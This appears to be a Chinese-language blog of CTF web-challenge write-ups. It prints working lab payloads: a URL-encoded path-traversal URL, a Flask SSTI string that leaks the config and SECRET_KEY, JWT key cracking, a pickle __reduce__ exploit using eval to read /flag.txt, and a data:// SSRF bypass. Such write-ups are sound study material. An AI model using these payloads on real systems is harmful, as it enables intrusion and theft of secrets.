TimeKeeper
2024/03/10 16:18
有两周没有打靶场了,这段时间在准备护网的面试,顺便挖了下edu也是挖到了一些漏洞。
言归正传,看看这道题目。进去是一个shop,先注册一个账号尝试注册admin发现操作失败,尝试登录admin admin发现登录进去了,点进个人中心有1000.1元
在页面摸了半天就发现一个逻辑漏洞,点击加入购物车后结算把价格修改为负数就会加钱。而且可以直接放包刷,看了一下框架有flask
扫目录发现一个console控制台
怎么感觉我好像遇到过这个东西
抓个登录的包看了看,发包出去后回显的很慢
看到Server: Werkzeug/0.14.1 Python/2.7.12
这个Werkzeug不是很了解
尝试一下爆破
在网上找了一下Werkzeug相关的文章,有一个说到如果开启了debug模式就可以拿shell,如果有pin需要找到文件读取的漏洞找到一些什么东西,所以是应该找一下任意文件读取吗?
找了一圈没有看到其他的漏洞除了那处购买商品的地方
看wp
。。。第一种思路果然是我前面看到的那种,没想到还有骚操作,/asserts/../../../../flag (url编码一下)可以目录穿越直接把flag下载下来,我试过了确实可以
里面是这个东西
ciscn{this_is_a_sample_flag}
答案在flag.txt里面
重点还是学知识
看这一篇文章:https://xz.aliyun.com/t/2553
任意文件读取就是和这个目录穿越漏洞
可以通过这种方式将所有的源代码读取下来,废了,看的头晕
根据debug的页面显示的路径读取
报错的方法就是付款哪里那个id和price添加单引号就会报错
路径;在读取文件的时候又爆出几个路径
/app/TKShop/shop.py
/usr/local/lib/python2.7/dist-packages/flask/app.py
/usr/local/lib/python2.7/dist-packages/flask/helpers.py
/app/TKShop/users.py
访问路径:http://61.147.171.105:54591/asserts/..%2F..%2F..%2F..%2Fusr/local/lib/python2.7/dist-packages/werkzeug/debug/init.py
得到init的源码
也是找到了getpin的函数
定位到这里,产生机器ID确实就是这里两个文件
废了
看了官方的wp也是这样说的
还有一种方式
没看懂???
尝试注册一个
{user.__class__.__mro__[3].__init__.__globals__[current_app].config}
确实得到了一些数据,在个人页面的源码可以看到
<h1 class="user-username">
<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SQLALCHEMY_DATABASE_URI': 'sqlite:app/TKShop/tkshop.db', 'SESSION_COOKIE_SECURE': False, 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SESSION_COOKIE_PATH': None, 'SQLALCHEMY_RECORD_QUERIES': None, 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_NAME': 'session', 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SECRET_KEY': 'p0rS6BhxebzvC2XDYRNqiOH48AU3ITmE', 'EXPLAIN_TEMPLATE_LOADING': False, 'UPLOAD_FOLDER': '/app/TKShop/asserts/uploads/', 'SQLALCHEMY_NATIVE_UNICODE': None, 'MAX_CONTENT_LENGTH': None, 'SQLALCHEMY_ECHO': False, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SQLALCHEMY_MAX_OVERFLOW': None, 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>
</h1>
<h3 class="user-email">
邮箱地址:123@qq.com
</h3>
<h3 class="user-integral">
剩余积分:1000.1
</h3>
有个SECRET_KEY': 'p0rS6BhxebzvC2XDYRNqiOH48AU3ITmE',
用官方的脚本按理来说是替换session进入但是好像不是这样的。。。
确实有个session然后替换后并没有用,抓包看了session很长一段不是这样的好像。我感觉这里好像没有什么admin毕竟我就是admin账号登录进去的。。。后来我又想是不是Python的版本和flask的版本,然后我不会写session解密的脚本,本来是想看看没加密前的session是什么样的是不是{"admin":true,"id":100,"username":"admin"}' 这个样子的。。。
Web_python_flask_sql_injection
2024/02/27 17:45
题目名字是flask框架加SQL注入,同时还提供了源码
先摸索一下页面的功能点
注册admin发现提示使用其他的用户名,用123456@qq.com也是
然后我怎么使用其他的用户名也注册不了???
看了看源码没有对注册做什么事情,看一下wp怎么说的,wp好像都可以正常注册,重启后任然是无法创建新用户,估计是和数据库断开了之前也遇到过
bilibili
2024/02/26 18:23
题目提示了逻辑漏洞
打开网站wc小黑子666你干嘛哎呦哈哈哈
看到源码
你干嘛哎呦!!!
看到服务器是tornado
尝试注册一个admin发现跳转到什么都没有的页面,侧面印证了应该是存在admin账号的
注册一个进去后发现有1000元,然后这些商品名字好像都是base编码过或者加密的样子
难道这个是提示
买到lv6?
看了一下修改密码的功能抓包发现使用了jwt,这里可能存在jwt伪造
找回密码的功能点好像被删除了没有用点击了就是302跳转
又仔细看了下这个商品,单纯的又info/数字 控制 商品相当多,要找到lv6的对应的商品感觉需要爆破一下,设置一下这个检索匹配lv6从响应包中
果然有信息,但是这个价格我这个账号买不起,抓包尝试修改价格还是没有成功。。。
在研究jwt的时候发现将这道题作为例子讲???果然是jwt的问题
这里的用法是撞密钥出来
这里用到这个工具https://github.com/brendan-rius/c-jwt-cracker.git
我的笔记有记录安装的方法【有道云笔记】jwt(json web token) 有道云笔记
可以看到解出来时1Kun
然后再那个网站里面修改用户并且添加上这个密钥得到新的jwt再去尝试
但是怎么操作失败???我看wp里面就是这样的,用了base64加密的进去后是500???
我发现问题了,我通过info/1624进入的是其他的页面,wp里面都是直接进入的shop页面,我重新爆破一下再180页面
这里购买就有区别了,有优惠券
我看wp说修改了折扣就会跳转到其他的页面,我修改了怎么没有反应???反正wp说会跳转到一个b1g_m4mber的页面
再抓这个包修改jwt进来了。
然后这个页面有个www.zip的文件。
有一说一我这个夸克网盘插件资源嗅探还挺不错的,自动就帮我找到了
废了,python的代码审计都不知道要找什么东西。。。
说是pickle反序列化的问题
可以看看这个深入剖析pickle 反序列化漏洞浅析_pickle.loads-CSDN博客
感觉很复杂,实际要想搞懂也很复杂。。。,解释的时候再栈里面干了什么,然后不同的版本还有不同的用法
payload
import pickle
import urllib
class payload(object):
def __reduce__(self): #这个__reduce__类似于php中的wakeup这种序列化开始或者结束就会自动调用的魔术方法
return (eval, ("open('/flag.txt','r').read()",)) #用eval函数执行Python代码读取数据
exp = pickle.dumps(payload()) #序列化
exp = urllib.quote(exp) #URl编码
print exp
Python2的环境运行一下
然后抓个一键成为大会员的包,记得修改好jwt然后become替换为上面这个payload就可以了
flag{dfe54e6fe1e34f1e8fb03c8b50e963bd}
后面对Python相关的序列化也做了一些笔记记录
url
2024/02/26 17:10
打开网站一个错误no url,看到URl就想到ssrf,然后加上一个URl参数啥都没有。。。扫描了一下目录发现存在一个flag.php
然后思考一下换成post方式有反应了
尝试访问127.0.0.1发现被进制访问的地址
尝试一些php的伪协议
file也不可以
php://filter不可以
data也不可以
好像都不可以??什么意思host not allowed是不是需要白名单绕过,一看时尝试访问baidu虽然没有回显内容但是没有这个错误,我用自己的vps试一试
访问了自己的vps发现也是禁止的情况,是不是说明baidu是白名单?
那怎么绕过呢?
看看wp
data协议原来可以修改中间的东西
url=data://text/plain;base64,
中间这个text/plain是mime类型,将text修改为www.baidu.com即可,具体的原因可能是会忽略错误的媒体类型使用默认的方式执行比如当做文本处理。
但是修改了后面这个php代码并没有执行好家伙后面这个是n3k0,说是fuzz出来的。。。将n3k0编码一下就得到了,怎么说呢我之前好像做过这种修改data协议的的部分达到绕过。但是这个fuzz是没有想到,前面还扫出一个flag.php也没有排上用场。。。
如果没有这个fuzz这个题目真的不能算是9星题
flag{CB69174D05A7B042E7986A8AAEDDEF05}